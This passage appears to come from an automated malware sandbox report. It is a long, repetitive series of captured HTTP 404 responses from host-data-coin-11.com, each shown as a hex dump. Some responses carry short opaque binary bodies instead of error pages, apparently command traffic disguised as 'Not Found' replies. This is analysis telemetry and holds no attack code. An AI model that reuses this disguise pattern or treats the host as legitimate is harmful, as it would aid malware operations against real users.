(Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 da 44 d0 f8 20 8c 21 ea ad 96 56 2c e4 b4 48 2b e3 b3 b6 68 f3 9a b9 59 a8 77 9f cb 31 41 5b 3d 03 4b de bb 4b bb ff 5b 91 ad d3 02 c4 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XQD !V,H+hYw1A[=KK[`i0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 